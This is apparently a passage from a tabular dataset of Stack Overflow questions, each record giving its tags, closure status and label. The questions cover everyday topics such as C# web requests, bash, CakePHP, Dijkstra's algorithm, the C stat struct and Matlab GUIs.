what i want is how can i remove the words/vebs from the sentence without affecting other words. I mean removing the **EXACT** VERB/WORD..... and in case insensitive...
that the expected result will be like this
new Sentence: `Phisz' dog?` | 0 |
10,027,673 | 04/05/2012 11:24:32 | 999,570 | 10/17/2011 16:25:48 | 38 | 0 | Download page html and css in C# | It is possible, in C #, download a complete html page, ie, in addition to obtain the html page that also get the css page.
Thanks,
Kiotto | c# | c#-4.0 | null | null | null | 04/24/2012 03:20:37 | not a real question | Download page html and css in C#
===
It is possible, in C #, download a complete html page, ie, in addition to obtain the html page that also get the css page.
Thanks,
Kiotto | 1 |
1,178,751 | 07/24/2009 16:31:16 | 50,029 | 12/30/2008 00:45:57 | 185 | 14 | How can you access the base filename of a file you are sourcing in Bash | I am sourcing a file in a bash terminal that needs to export some environment varibles.
Example:
source linux_x86.env
the env file looks kinda like this:
export ARCH=/home/user/project/linux_x86
I have a bunch of different architectures to compile for and I want be able to do something like this:
export ARCH=/home/user/project/`basename $0 .env`
where `basename $0 .env` would give me the basename the env file
bash linux_x86.env
linux_x86
The above will work is a bash script but doesn't seem to work when you source the file.
Is there any way to get the same behavior from source? | linux | bash | source | command-line | environment-variables | null | open | How can you access the base filename of a file you are sourcing in Bash
===
I am sourcing a file in a bash terminal that needs to export some environment varibles.
Example:
source linux_x86.env
the env file looks kinda like this:
export ARCH=/home/user/project/linux_x86
I have a bunch of different architectures to compile for and I want be able to do something like this:
export ARCH=/home/user/project/`basename $0 .env`
where `basename $0 .env` would give me the basename the env file
bash linux_x86.env
linux_x86
The above will work is a bash script but doesn't seem to work when you source the file.
Is there any way to get the same behavior from source? | 0 |
7,001,905 | 08/09/2011 19:36:00 | 551,472 | 12/22/2010 17:00:21 | 6 | 0 | Jquery validate engine radio css help | I am using jquery validate engine plugin. I got the validation right so the challenge is i nee d to display the radio buttons on line not as a block . Please advice | jquery | css | css-selectors | null | null | 08/10/2011 01:16:47 | not a real question | Jquery validate engine radio css help
===
I am using jquery validate engine plugin. I got the validation right so the challenge is i nee d to display the radio buttons on line not as a block . Please advice | 1 |
8,934,073 | 01/19/2012 22:06:59 | 1,077,783 | 12/02/2011 16:10:55 | 130 | 8 | Cakephp find by date range? | I am trying to fetch coupons that haven't expired yet. I have this in my controller:
public function coupons() {
$this->paginate['Coupon']=array(
'limit'=>9,
'order'=>'RAND()',
'conditions'=>array(
'Coupon.end_date'=>??????)
);
$c=$this->paginate('Coupon');
$this->set('allcoupons', $c);
}
and I haven't got a clue how to tell cake to find all records not expired as of today. end_date is in DATE format. I don't know how to ask cake to look at end_date and compare it to today, AND do it inside the paginate method. | mysql | cakephp | cakephp-2.0 | null | null | null | open | Cakephp find by date range?
===
I am trying to fetch coupons that haven't expired yet. I have this in my controller:
public function coupons() {
$this->paginate['Coupon']=array(
'limit'=>9,
'order'=>'RAND()',
'conditions'=>array(
'Coupon.end_date'=>??????)
);
$c=$this->paginate('Coupon');
$this->set('allcoupons', $c);
}
and I haven't got a clue how to tell cake to find all records not expired as of today. end_date is in DATE format. I don't know how to ask cake to look at end_date and compare it to today, AND do it inside the paginate method. | 0 |
7,614,758 | 09/30/2011 18:50:49 | 973,615 | 09/30/2011 18:15:57 | 1 | 0 | Convert List<MyObject> to Dictionary <obj.string, List<obj.ID>> | I would like to take a list of objects and convert it to a dictionary where the key is a field in the object, and the value is a list of a different field in the objects that match on the key. I can do this now with a loop but I feel this should be able to be accomplished with linq and not having to write the loop. I was thinking a combination of `GroupBy` and `ToDictionary` but have been unsuccessful so far.
Here's how I'm doing it right now:
var samplesWithSpecificResult = new Dictionary<string, List<int>>();
foreach(var sample in sampleList)
{
List<int> sampleIDs = null;
if (samplesWithSpecificResult.TryGetValue(sample.ResultString, out sampleIDs))
{
sampleIDs.Add(sample.ID);
continue;
}
sampleIDs = new List<int>();
sampleIDs.Add(sample.ID);
samplesWithSpecificResult.Add(sample.ResultString, sampleIDs);
}
The farthest I can get with `.GroupBy().ToDictionay()` is `Dictionary<sample.ResultString, List<sample>>`.
Any help would be appreciated. | c# | .net | linq | null | null | null | open | Convert List<MyObject> to Dictionary <obj.string, List<obj.ID>>
===
I would like to take a list of objects and convert it to a dictionary where the key is a field in the object, and the value is a list of a different field in the objects that match on the key. I can do this now with a loop but I feel this should be able to be accomplished with linq and not having to write the loop. I was thinking a combination of `GroupBy` and `ToDictionary` but have been unsuccessful so far.
Here's how I'm doing it right now:
var samplesWithSpecificResult = new Dictionary<string, List<int>>();
foreach(var sample in sampleList)
{
List<int> sampleIDs = null;
if (samplesWithSpecificResult.TryGetValue(sample.ResultString, out sampleIDs))
{
sampleIDs.Add(sample.ID);
continue;
}
sampleIDs = new List<int>();
sampleIDs.Add(sample.ID);
samplesWithSpecificResult.Add(sample.ResultString, sampleIDs);
}
The farthest I can get with `.GroupBy().ToDictionay()` is `Dictionary<sample.ResultString, List<sample>>`.
Any help would be appreciated. | 0 |
11,745,308 | 07/31/2012 16:59:42 | 1,563,923 | 07/30/2012 19:19:27 | 1 | 0 | Search paths in ubuntu | I just shifted to Ubuntu and so I want my basic terminologies to be clear.
1.) What are search paths in Ubuntu . If my intuition is correct does it provide the
correct place where library is saved.
2.) I tried installing some libraries in Ubuntu to learn compilation process from tarballs
and was successful.During installation I extracted the files in /usr/local/src and
subsequently typed the commands for configure, make and checkinstall . So in this
procedure does all the libraries install in same place .
3.) If some library is installed at some other place , how to make it visible to the
libraries whose search path is different | ubuntu | null | null | null | null | 08/01/2012 17:30:09 | off topic | Search paths in ubuntu
===
I just shifted to Ubuntu and so I want my basic terminologies to be clear.
1.) What are search paths in Ubuntu . If my intuition is correct does it provide the
correct place where library is saved.
2.) I tried installing some libraries in Ubuntu to learn compilation process from tarballs
and was successful.During installation I extracted the files in /usr/local/src and
subsequently typed the commands for configure, make and checkinstall . So in this
procedure does all the libraries install in same place .
3.) If some library is installed at some other place , how to make it visible to the
libraries whose search path is different | 2 |
10,862,572 | 06/02/2012 13:12:27 | 1,400,271 | 05/17/2012 06:12:41 | 15 | 0 | Dijkstra Algorithm | I have implemented dijkstra algorithm in c++
#include<iostream.h>
#include<conio.h>
class spath
{
int costmatx[10][10]; //cost matrix
int n,s; //no of vertices
int dist[10]; //to store distance
public:
void read_graph(); //function to read the weighted graph
void source_vertex(); // from where the distance has to be calculated
void shpath(); // to find the shortest path
void display(); // to display the total cost for each distance
};
void spath::read_graph()
{
int i,j,p; //loop variables
cout<<"no. of vertices in your graph ";
cin>>n; //number of vertices
cout<<"enter '0' if there is no path\n";
cout<<"enter number of edges";
cin>>p;
while(p)
{
cin>>i;
cin>>j;
cin>>costmatx[i][j];
p--;
}
for(i=1;i<=n;i++)
{
for(j=1;j<=n;j++)
{
if(!costmatx[i][j]) costmatx[i][j]=999;
}
}
}
void spath::source_vertex()
{
cout<<"enter the source vertix";
cin>>s; //source vertex
}
void spath::shpath()
{
int mv,i,j;
static int f[10];
f[s]=1; //changing flag of source vertex to 1;
for(i=1;i<=n;i++){
dist[i]=costmatx[s][i];} //assigning weight or cost to each vertex s,i
for(int k=1;k<=n;k++)
{
int min=998; //think y minimum is 1000??
for(i=1;i<=n;i++){
if((f[i]!=1) && (dist[i]<min))
{
min=dist[i];
mv=i;
}}
cout<<mv<<"\n";
f[mv]=1;
for(i=1;i<=n;i++){
if((f[i]!=1)&&(dist[mv]+costmatx[mv][i]<=dist[i])){
dist[i]=dist[mv]+costmatx[mv][i];}}
}
}
void spath::display()
{
for(int i=1;i<=n;i++)
cout<<"Ditance from "<<s<<" to "<<i<<" is "<<dist[i]<<"\n";
}
int main()
{
spath sp;
sp.read_graph();
sp.source_vertex();
sp.shpath();
sp.display();
getch();
return 0;
}
But it is failing for a test case
6 9
1 2 7
1 5 14
1 3 9
2 4 15
2 3 10
3 5 2
3 4 11
5 6 9
4 6 6
for distance from 1 to 6 should be 20 but it is showing 11 all the other cases it is showing correctly but not this
| c++ | c++11 | dijkstra | null | null | 06/04/2012 05:54:31 | not a real question | Dijkstra Algorithm
===
I have implemented dijkstra algorithm in c++
#include<iostream.h>
#include<conio.h>
class spath
{
int costmatx[10][10]; //cost matrix
int n,s; //no of vertices
int dist[10]; //to store distance
public:
void read_graph(); //function to read the weighted graph
void source_vertex(); // from where the distance has to be calculated
void shpath(); // to find the shortest path
void display(); // to display the total cost for each distance
};
void spath::read_graph()
{
int i,j,p; //loop variables
cout<<"no. of vertices in your graph ";
cin>>n; //number of vertices
cout<<"enter '0' if there is no path\n";
cout<<"enter number of edges";
cin>>p;
while(p)
{
cin>>i;
cin>>j;
cin>>costmatx[i][j];
p--;
}
for(i=1;i<=n;i++)
{
for(j=1;j<=n;j++)
{
if(!costmatx[i][j]) costmatx[i][j]=999;
}
}
}
void spath::source_vertex()
{
cout<<"enter the source vertix";
cin>>s; //source vertex
}
void spath::shpath()
{
int mv,i,j;
static int f[10];
f[s]=1; //changing flag of source vertex to 1;
for(i=1;i<=n;i++){
dist[i]=costmatx[s][i];} //assigning weight or cost to each vertex s,i
for(int k=1;k<=n;k++)
{
int min=998; //think y minimum is 1000??
for(i=1;i<=n;i++){
if((f[i]!=1) && (dist[i]<min))
{
min=dist[i];
mv=i;
}}
cout<<mv<<"\n";
f[mv]=1;
for(i=1;i<=n;i++){
if((f[i]!=1)&&(dist[mv]+costmatx[mv][i]<=dist[i])){
dist[i]=dist[mv]+costmatx[mv][i];}}
}
}
void spath::display()
{
for(int i=1;i<=n;i++)
cout<<"Ditance from "<<s<<" to "<<i<<" is "<<dist[i]<<"\n";
}
int main()
{
spath sp;
sp.read_graph();
sp.source_vertex();
sp.shpath();
sp.display();
getch();
return 0;
}
But it is failing for a test case
6 9
1 2 7
1 5 14
1 3 9
2 4 15
2 3 10
3 5 2
3 4 11
5 6 9
4 6 6
for distance from 1 to 6 should be 20 but it is showing 11 all the other cases it is showing correctly but not this
| 1 |
8,403,963 | 12/06/2011 17:15:29 | 1,083,952 | 12/06/2011 16:52:51 | 1 | 0 | C stat struct does not have st_ctime field but only st_ctim | I've now been googleing this for about two hours, yet I was unable to find any answers that helped.
The definition of 'stat' as spcified in the manpage says that a st_ctime field exists.
> struct stat {
> dev_t st_dev; /* ID of device containing file */
> ino_t st_ino; /* inode number */
> mode_t st_mode; /* protection */
> nlink_t st_nlink; /* number of hard links */
> uid_t st_uid; /* user ID of owner */
> gid_t st_gid; /* group ID of owner */
> dev_t st_rdev; /* device ID (if special file) */
> off_t st_size; /* total size, in bytes */
> blksize_t st_blksize; /* blocksize for file system I/O */
> blkcnt_t st_blocks; /* number of 512B blocks allocated */
> time_t st_atime; /* time of last access */
> time_t st_mtime; /* time of last modification */
> time_t st_ctime; /* time of last status change */
> };
However, this does not seem to be true for my system even though I'm using gcc (which should be behaving according to the standard).
In fact, all of the time fields (atime, mtime, ctime) are missing and therefore the struct contains some atim, mtim and ctim values which return a timespec instead of the desired time_t value.
Now my questions:
1. Why is this so? Maybe I included the wrong header but I'm really sure it's gotta be sys/stat.h.
2. I have not been finding too much information about timespec, what is it and why is it returned here?
3. Even if I find a workaround, does it help m or will any other system fail to execute my code?
I am using Ubuntu 11.10 and gcc 4.6.1.
My code (partly):
struct stat file_info;
time_t t;
if( lstat( path, &file_info ) == 0 ) {
struct tm* timeinfo;
t = file_info.st_ctime;
timeinfo = localtime( &t );
I'd be really glad if you could help with this one, I really got no clue why I can not compile using the st_ctime field of my struct and as usual gcc is not too much of a help when it comes to talking about errors ;-)
Probably it's got to do something with #include problems, but I'm not able to determine what.
Thank you all in advance,
Roman | c | ubuntu | syscall | stat | null | null | open | C stat struct does not have st_ctime field but only st_ctim
===
I've now been googleing this for about two hours, yet I was unable to find any answers that helped.
The definition of 'stat' as spcified in the manpage says that a st_ctime field exists.
> struct stat {
> dev_t st_dev; /* ID of device containing file */
> ino_t st_ino; /* inode number */
> mode_t st_mode; /* protection */
> nlink_t st_nlink; /* number of hard links */
> uid_t st_uid; /* user ID of owner */
> gid_t st_gid; /* group ID of owner */
> dev_t st_rdev; /* device ID (if special file) */
> off_t st_size; /* total size, in bytes */
> blksize_t st_blksize; /* blocksize for file system I/O */
> blkcnt_t st_blocks; /* number of 512B blocks allocated */
> time_t st_atime; /* time of last access */
> time_t st_mtime; /* time of last modification */
> time_t st_ctime; /* time of last status change */
> };
However, this does not seem to be true for my system even though I'm using gcc (which should be behaving according to the standard).
In fact, all of the time fields (atime, mtime, ctime) are missing and therefore the struct contains some atim, mtim and ctim values which return a timespec instead of the desired time_t value.
Now my questions:
1. Why is this so? Maybe I included the wrong header but I'm really sure it's gotta be sys/stat.h.
2. I have not been finding too much information about timespec, what is it and why is it returned here?
3. Even if I find a workaround, does it help m or will any other system fail to execute my code?
I am using Ubuntu 11.10 and gcc 4.6.1.
My code (partly):
struct stat file_info;
time_t t;
if( lstat( path, &file_info ) == 0 ) {
struct tm* timeinfo;
t = file_info.st_ctime;
timeinfo = localtime( &t );
I'd be really glad if you could help with this one, I really got no clue why I can not compile using the st_ctime field of my struct and as usual gcc is not too much of a help when it comes to talking about errors ;-)
Probably it's got to do something with #include problems, but I'm not able to determine what.
Thank you all in advance,
Roman | 0 |
11,406,359 | 07/10/2012 03:53:32 | 1,513,612 | 07/10/2012 03:42:41 | 1 | 0 | Webpages not loading in Mac | Sorry if it sounds amateurish but i'm quite new to the web design scene.
I recently got my hands on a Mac and decided to check out the sites i've created and tested (so far) on a Windows computer. On the Windows everything loads perfectly, but on the **Mac** i have **2 out of 6** pages which aren't loading.
The only similarities between the two pages that might be causing the problems are that both contain forms. One of them has an iframe (forms on the page within the iframe), the other is simply a contact form to send an email.
The rest of the scripts are similar throughout the entire site, so if those pages are loading, then that shouldn't be the problem right?
Anyway thank you very much for any help. Any help small or big is greatly appreciated. Thanks!
The site in question is http://www.yehlaisiang.com and the pages are ***menu*** and ***contact***. | osx | forms | google-chrome | safari | web | 07/10/2012 13:21:00 | too localized | Webpages not loading in Mac
===
Sorry if it sounds amateurish but i'm quite new to the web design scene.
I recently got my hands on a Mac and decided to check out the sites i've created and tested (so far) on a Windows computer. On the Windows everything loads perfectly, but on the **Mac** i have **2 out of 6** pages which aren't loading.
The only similarities between the two pages that might be causing the problems are that both contain forms. One of them has an iframe (forms on the page within the iframe), the other is simply a contact form to send an email.
The rest of the scripts are similar throughout the entire site, so if those pages are loading, then that shouldn't be the problem right?
Anyway thank you very much for any help. Any help small or big is greatly appreciated. Thanks!
The site in question is http://www.yehlaisiang.com and the pages are ***menu*** and ***contact***. | 3 |
4,631,671 | 01/08/2011 00:53:39 | 34,537 | 11/05/2008 03:00:23 | 7,253 | 149 | What threading pratice is good 90% of the time? | What practice or practices are good 90% of the time when working with threading with multiple cores?
Personally all i have done was share immutable classes and pass (copy) data to a queue to the destine thread.
| multithreading | multicore | null | null | null | 01/08/2011 00:58:55 | not a real question | What threading pratice is good 90% of the time?
===
What practice or practices are good 90% of the time when working with threading with multiple cores?
Personally all i have done was share immutable classes and pass (copy) data to a queue to the destine thread.
| 1 |
5,475,378 | 03/29/2011 15:55:57 | 570,098 | 01/10/2011 16:27:57 | 21 | 1 | I need help writin a c++ program that takes two arguments for two functions? | my c++ program needs to take in two arguments text or calc, those are the two functions,
how do i set this up to read in 2 input files using a map? | c++ | data | input | analysis | null | 03/29/2011 15:59:19 | not a real question | I need help writin a c++ program that takes two arguments for two functions?
===
my c++ program needs to take in two arguments text or calc, those are the two functions,
how do i set this up to read in 2 input files using a map? | 1 |
6,038,288 | 05/17/2011 23:24:39 | 632,951 | 02/24/2011 19:10:47 | 977 | 0 | I can't send post data to another server. | this is my code right now:
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
System.Net.ServicePointManager.Expect100Continue = False
Dim client = New System.Net.WebClient()
Dim postdata = New System.Collections.Specialized.NameValueCollection
postdata.Add("username", "qweqwe")
postdata.Add("password", "asdasd")
Dim bytes = client.UploadValues("https://juzcode.com/post.php", postdata) ' exception here
Response.Write(Encoding.ASCII.GetString(bytes))
End Sub
However I'm getting exception "Unable to connect to the remote server". Am I doing something wrong? | c# | asp.net | vb.net | web-services | null | null | open | I can't send post data to another server.
===
this is my code right now:
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
System.Net.ServicePointManager.Expect100Continue = False
Dim client = New System.Net.WebClient()
Dim postdata = New System.Collections.Specialized.NameValueCollection
postdata.Add("username", "qweqwe")
postdata.Add("password", "asdasd")
Dim bytes = client.UploadValues("https://juzcode.com/post.php", postdata) ' exception here
Response.Write(Encoding.ASCII.GetString(bytes))
End Sub
However I'm getting exception "Unable to connect to the remote server". Am I doing something wrong? | 0 |
10,876,486 | 06/04/2012 04:59:24 | 1,345,697 | 04/20/2012 05:40:25 | 11 | 0 | DoS attack due to renegotiation - CVE-2011-1472 | I wanted to know how to fix DoS attack due to re-negotiations for RFC 5756 complaint application. Is this will applicable to any version of the OpenSSL implementation and is fixed?
Thanks,
Gayathri
| ssl | openssl | null | null | null | 06/04/2012 08:30:51 | off topic | DoS attack due to renegotiation - CVE-2011-1472
===
I wanted to know how to fix DoS attack due to re-negotiations for RFC 5756 complaint application. Is this will applicable to any version of the OpenSSL implementation and is fixed?
Thanks,
Gayathri
| 2 |
9,488,631 | 02/28/2012 19:46:44 | 1,189,375 | 02/04/2012 13:21:49 | 3 | 0 | Cancel webclient Async request | Hopefully an easy question for you all but I'm really struggling.
I've only recently started programming and have just had an app certified to the WP7 app store but noticed a bug myself that i would like to fix before making the app public.
Basically I have a search box where the user enters a chemical name and a webservice returns an image and its molecular weight. What i would like to do is cancel the webclient if the user navigates away from the page before the download is completed or if a new search is made before the previous is completed (this currently crashes the app as I believe you can only have one request at a time??)
private void searchCactus()
{
WebClient imgClient = new WebClient();
imgClient.OpenReadCompleted += new OpenReadCompletedEventHandler(imgClient_OpenReadCompleted);
WebClient mwClient = new WebClient();
mwClient.DownloadStringCompleted += new DownloadStringCompletedEventHandler(mwClient_DownloadStringCompleted);
if (DeviceNetworkInformation.IsNetworkAvailable == false)
{
MessageBox.Show("No network found, please check network availability and try again");
}
else if (compoundSearchBox.Text.Contains("?"))
{
MessageBox.Show("\"?\" Not Permitted");
return;
}
else if (compoundSearchBox.Text != "")
{
progBar1.IsIndeterminate = true;
string imageuri = "http://cactus.nci.nih.gov/chemical/structure/" + compoundSearchBox.Text + "/image?format=png&width=300&height=300";
string mwURI = "http://cactus.nci.nih.gov/chemical/structure/" + compoundSearchBox.Text + "/mw";
imgClient.OpenReadAsync(new Uri(@imageuri), imgClient);
mwClient.DownloadStringAsync(new Uri(@mwURI), mwClient);
// //lower keyboard
this.Focus();
}
else MessageBox.Show("Enter Search Query");
}
I tried implementing the following button but it does not work
private void buttonCancel_Click(object sender, RoutedEventArgs e)
{
imgClient.CancelAsync();
mwClient.CancelAsync();
}
as "the name 'mwClient' does not exist in the current context"
I would be very grateful if anybody could provide some guidance
Best wishes,
Ian | c# | silverlight | windows-phone-7 | webclient | windows-phone-7.1 | null | open | Cancel webclient Async request
===
Hopefully an easy question for you all but I'm really struggling.
I've only recently started programming and have just had an app certified to the WP7 app store but noticed a bug myself that i would like to fix before making the app public.
Basically I have a search box where the user enters a chemical name and a webservice returns an image and its molecular weight. What i would like to do is cancel the webclient if the user navigates away from the page before the download is completed or if a new search is made before the previous is completed (this currently crashes the app as I believe you can only have one request at a time??)
private void searchCactus()
{
WebClient imgClient = new WebClient();
imgClient.OpenReadCompleted += new OpenReadCompletedEventHandler(imgClient_OpenReadCompleted);
WebClient mwClient = new WebClient();
mwClient.DownloadStringCompleted += new DownloadStringCompletedEventHandler(mwClient_DownloadStringCompleted);
if (DeviceNetworkInformation.IsNetworkAvailable == false)
{
MessageBox.Show("No network found, please check network availability and try again");
}
else if (compoundSearchBox.Text.Contains("?"))
{
MessageBox.Show("\"?\" Not Permitted");
return;
}
else if (compoundSearchBox.Text != "")
{
progBar1.IsIndeterminate = true;
string imageuri = "http://cactus.nci.nih.gov/chemical/structure/" + compoundSearchBox.Text + "/image?format=png&width=300&height=300";
string mwURI = "http://cactus.nci.nih.gov/chemical/structure/" + compoundSearchBox.Text + "/mw";
imgClient.OpenReadAsync(new Uri(@imageuri), imgClient);
mwClient.DownloadStringAsync(new Uri(@mwURI), mwClient);
// //lower keyboard
this.Focus();
}
else MessageBox.Show("Enter Search Query");
}
I tried implementing the following button but it does not work
private void buttonCancel_Click(object sender, RoutedEventArgs e)
{
imgClient.CancelAsync();
mwClient.CancelAsync();
}
as "the name 'mwClient' does not exist in the current context"
I would be very grateful if anybody could provide some guidance
Best wishes,
Ian | 0 |
10,863,014 | 06/02/2012 14:18:51 | 1,254,996 | 03/07/2012 15:05:51 | 102 | 0 | Matlab display animated gif in gui | I am trying to display a gif image in my gui, and it doesn't work. it displays me a fake image (not gif and with different color).
I know there is an 'Animated GIF' in File Exchange but I prefer something else :/
I tried the next code, but it doesn't work :]
function [] = GUI_400()
hFig = figure('Name','Simulation Plot Window','Menubar','none', 'Resize','off', 'WindowStyle','modal', 'Position',[300 300 1150 600]);
movegui(hFig, 'center');
hAxes = axes('Parent',hFig,'Units','pixels','Position',[362 242 424 359]); %# so the position is easy to define
image(imread('loading.gif', 'gif'),'Parent',hAxes); %# Plot the image
set(hAxes,'Visible','off', 'handlevisibility', 'off'); %# Turn the axes visibility off
end
thank you! | matlab | gui | gif | null | null | null | open | Matlab display animated gif in gui
===
I am trying to display a gif image in my gui, and it doesn't work. it displays me a fake image (not gif and with different color).
I know there is an 'Animated GIF' in File Exchange but I prefer something else :/
I tried the next code, but it doesn't work :]
function [] = GUI_400()
hFig = figure('Name','Simulation Plot Window','Menubar','none', 'Resize','off', 'WindowStyle','modal', 'Position',[300 300 1150 600]);
movegui(hFig, 'center');
hAxes = axes('Parent',hFig,'Units','pixels','Position',[362 242 424 359]); %# so the position is easy to define
image(imread('loading.gif', 'gif'),'Parent',hAxes); %# Plot the image
set(hAxes,'Visible','off', 'handlevisibility', 'off'); %# Turn the axes visibility off
end
thank you! | 0 |
4,342,597 | 12/03/2010 04:57:08 | 412,982 | 08/06/2010 11:41:00 | 220 | 15 | How to host our site in the Internet for free of Cost? | I have developed a site and i want to host it.I couldn't afford amount right now .Could any one suggest me the way to host for free of cost ?Thanks in advance... :-) | c# | asp.net | hosting | web-hosting | null | 12/03/2010 05:33:06 | off topic | How to host our site in the Internet for free of Cost?
===
I have developed a site and i want to host it.I couldn't afford amount right now .Could any one suggest me the way to host for free of cost ?Thanks in advance... :-) | 2 |
11,631,868 | 07/24/2012 13:25:59 | 1,473,841 | 06/22/2012 04:21:11 | 1 | 0 | Fingertip Detection in c# | i am a student. I just wondering about how the fingertips of a hand gestures are detected. I am using this finger counts for finger spelling.
More Specifically, i am working on c# with **AFORGE.NET** and want to use convex-hull algorithm for it. But any time i go on Google, this is done in OPENCV platform.
> Suggest me for finding me fingertip count in c# if possible without
> using OPENCV platform. I am currently using MS-studio 8 and AFORGE.NET
> library to do so. Any IDEAS ?? | c# | winforms | image-processing | null | null | 07/25/2012 17:25:06 | too localized | Fingertip Detection in c#
===
i am a student. I just wondering about how the fingertips of a hand gestures are detected. I am using this finger counts for finger spelling.
More Specifically, i am working on c# with **AFORGE.NET** and want to use convex-hull algorithm for it. But any time i go on Google, this is done in OPENCV platform.
> Suggest me for finding me fingertip count in c# if possible without
> using OPENCV platform. I am currently using MS-studio 8 and AFORGE.NET
> library to do so. Any IDEAS ?? | 3 |
9,482,215 | 02/28/2012 12:49:18 | 800,737 | 06/16/2011 03:16:00 | 316 | 5 | Sticky foooter issue with Google Chrome | Please take a look at the footer on [this site](http://bethhaim.spin-demo.com/).
When you scroll out or in, the footer stays at the bottom.
However, when the page loads in Chrome, I need to scroll down to see the footer regardless of how zoomed out I am. I want the footer to be visible at load instead of having to scroll down.
Basically, I need the footer to be just like it is in Firefox and IE.
Anyone know what is causing this behaviour? | html | css | null | null | null | 03/24/2012 11:29:00 | too localized | Sticky foooter issue with Google Chrome
===
Please take a look at the footer on [this site](http://bethhaim.spin-demo.com/).
When you scroll out or in, the footer stays at the bottom.
However, when the page loads in Chrome, I need to scroll down to see the footer regardless of how zoomed out I am. I want the footer to be visible at load instead of having to scroll down.
Basically, I need the footer to be just like it is in Firefox and IE.
Anyone know what is causing this behaviour? | 3 |
11,288,627 | 07/02/2012 06:22:37 | 1,099,271 | 12/15/2011 06:40:14 | 11 | 0 | Need a Linq Query for Corresponding Sql Query | Basicall I have three Tables Users Roles and USerRoles with Many to many Relationship. So when I import these on .edmx i get only two Entities. so i have Navigation Properties in both Entities.
I have three Users and 2 Roles (admin and ReadOnly). So
Now I want to fetch all USers who has admin role.
Below is my Sql Query
select U.UserName from Users U
Inner Join UserRoles UR on U.UseID = UR.UserId where UR.RoleId = 1
I want above in Linq query. | asp.net-mvc-3 | linq | entity-framework-4 | null | null | 07/03/2012 11:57:48 | too localized | Need a Linq Query for Corresponding Sql Query
===
Basicall I have three Tables Users Roles and USerRoles with Many to many Relationship. So when I import these on .edmx i get only two Entities. so i have Navigation Properties in both Entities.
I have three Users and 2 Roles (admin and ReadOnly). So
Now I want to fetch all USers who has admin role.
Below is my Sql Query
select U.UserName from Users U
Inner Join UserRoles UR on U.UseID = UR.UserId where UR.RoleId = 1
I want above in Linq query. | 3 |
5,987,984 | 05/13/2011 06:20:38 | 670,966 | 01/09/2010 09:13:39 | 1 | 0 | Convert vb.net application to platform independent mobile application that is supported on all devices | I have a vb.net windows application. I want to convert some part of it to an application that can be run on all mobile platforms like iphone,windows mobile, ipad etc. It should be platform independent
i dont want to develop different application for different platforms.
Pls help | vb.net | mobile | jquery-mobile | null | null | 05/13/2011 13:45:44 | not a real question | Convert vb.net application to platform independent mobile application that is supported on all devices
===
I have a vb.net windows application. I want to convert some part of it to an application that can be run on all mobile platforms like iphone,windows mobile, ipad etc. It should be platform independent
i dont want to develop different application for different platforms.
Pls help | 1 |
819,452 | 05/04/2009 09:32:55 | 50,049 | 12/30/2008 02:30:04 | 3,870 | 268 | C / JSON Library in popular Linux distros? | I have a program written in C that has to input and output JSON over a local domain socket. I've found several C / JSON libraries that 'almost work' through searches. Prior to taking one of the libraries that I found .. I want to be sure that I'm not over-looking a library that is commonly found on modern Linux distros.
I'd also really appreciate links to libraries that you use. Most likely, I'll just drop it in tree, unless I realize that I've over looked something widely distributed.
I am tagging this as subjective because the answer that I select is the one linking to a library that works for me, that does not mean its the 'best' library.
I want to take an existing array and easily convert it to a buffer that can be sent, or take a buffer and easily convert it into an allocated array.
Thanks in advance! | c | json | linux | null | null | 06/23/2012 15:34:17 | not constructive | C / JSON Library in popular Linux distros?
===
I have a program written in C that has to input and output JSON over a local domain socket. I've found several C / JSON libraries that 'almost work' through searches. Prior to taking one of the libraries that I found .. I want to be sure that I'm not over-looking a library that is commonly found on modern Linux distros.
I'd also really appreciate links to libraries that you use. Most likely, I'll just drop it in tree, unless I realize that I've over looked something widely distributed.
I am tagging this as subjective because the answer that I select is the one linking to a library that works for me, that does not mean its the 'best' library.
I want to take an existing array and easily convert it to a buffer that can be sent, or take a buffer and easily convert it into an allocated array.
Thanks in advance! | 4 |
9,397,789 | 02/22/2012 15:31:32 | 508,248 | 11/15/2010 12:39:32 | 402 | 4 | Incorrect usage of setTimeout? | I've written a script that fires off 2 URLs based on some random number logic and I'm trying to set a delay before either one is fired (of half a second) but I don't think it's working properly. Am I doing this correctly? Code is below:
var clicks = "http://www.urlone.com";
var impressions = "http://www.urltwo.com";
var randomNumber = (Math.random()*100);
function callOut() {
for (var i = 0; i < lengthVal; i++){
if (randomNumber < 75) {
var randomCounter = (Math.random()*100);
if (randomCounter < 50) {
setTimeout("image1.src = clicks;",500);
}
else if (randomCounter > 50) {
setTimeout("image1.src = impressions;",500);
}
}
}
}
| javascript | null | null | null | null | null | open | Incorrect usage of setTimeout?
===
I've written a script that fires off 2 URLs based on some random number logic and I'm trying to set a delay before either one is fired (of half a second) but I don't think it's working properly. Am I doing this correctly? Code is below:
var clicks = "http://www.urlone.com";
var impressions = "http://www.urltwo.com";
var randomNumber = (Math.random()*100);
function callOut() {
for (var i = 0; i < lengthVal; i++){
if (randomNumber < 75) {
var randomCounter = (Math.random()*100);
if (randomCounter < 50) {
setTimeout("image1.src = clicks;",500);
}
else if (randomCounter > 50) {
setTimeout("image1.src = impressions;",500);
}
}
}
}
| 0 |
7,554,353 | 09/26/2011 11:26:16 | 309,798 | 04/06/2010 07:15:54 | 654 | 7 | What is the difference between ANSI C 89 and C that supports by C++? | I know there are some difference between ANSI C 89 and C that supports by C++.
for example in ANSI C 89, you should declare variables at first line of blocks.
or when you want to declare `struct` variables, you should use `struct` keyword (eg `struct student std1;`).
or // is not valid for commenting and you should use /**/ for commenting in ANSI C 89.
for example this C code is not valid in ANSI C 89:
struct student
{
char* name;
};
enum number
{
ODD,
EVEN
};
void test()
{
printf("Hello world!");
int a, b; // Not valid in ANSI C 89, variables should declare at first line of blocks.
student std1; // Not valid. It should be: struct student std1;
struct student std2; // Valid.
number n1 = ODD; // Not valid.
enum number n2 = EVEN; // Valid.
}
I want to develope an application using ANSI C 89 and my question is:
What is the difference between ANSI C 89 and C that supports by C++?
| c++ | c | c89 | null | null | 09/26/2011 12:28:13 | not a real question | What is the difference between ANSI C 89 and C that supports by C++?
===
I know there are some difference between ANSI C 89 and C that supports by C++.
for example in ANSI C 89, you should declare variables at first line of blocks.
or when you want to declare `struct` variables, you should use `struct` keyword (eg `struct student std1;`).
or // is not valid for commenting and you should use /**/ for commenting in ANSI C 89.
for example this C code is not valid in ANSI C 89:
struct student
{
char* name;
};
enum number
{
ODD,
EVEN
};
void test()
{
printf("Hello world!");
int a, b; // Not valid in ANSI C 89, variables should declare at first line of blocks.
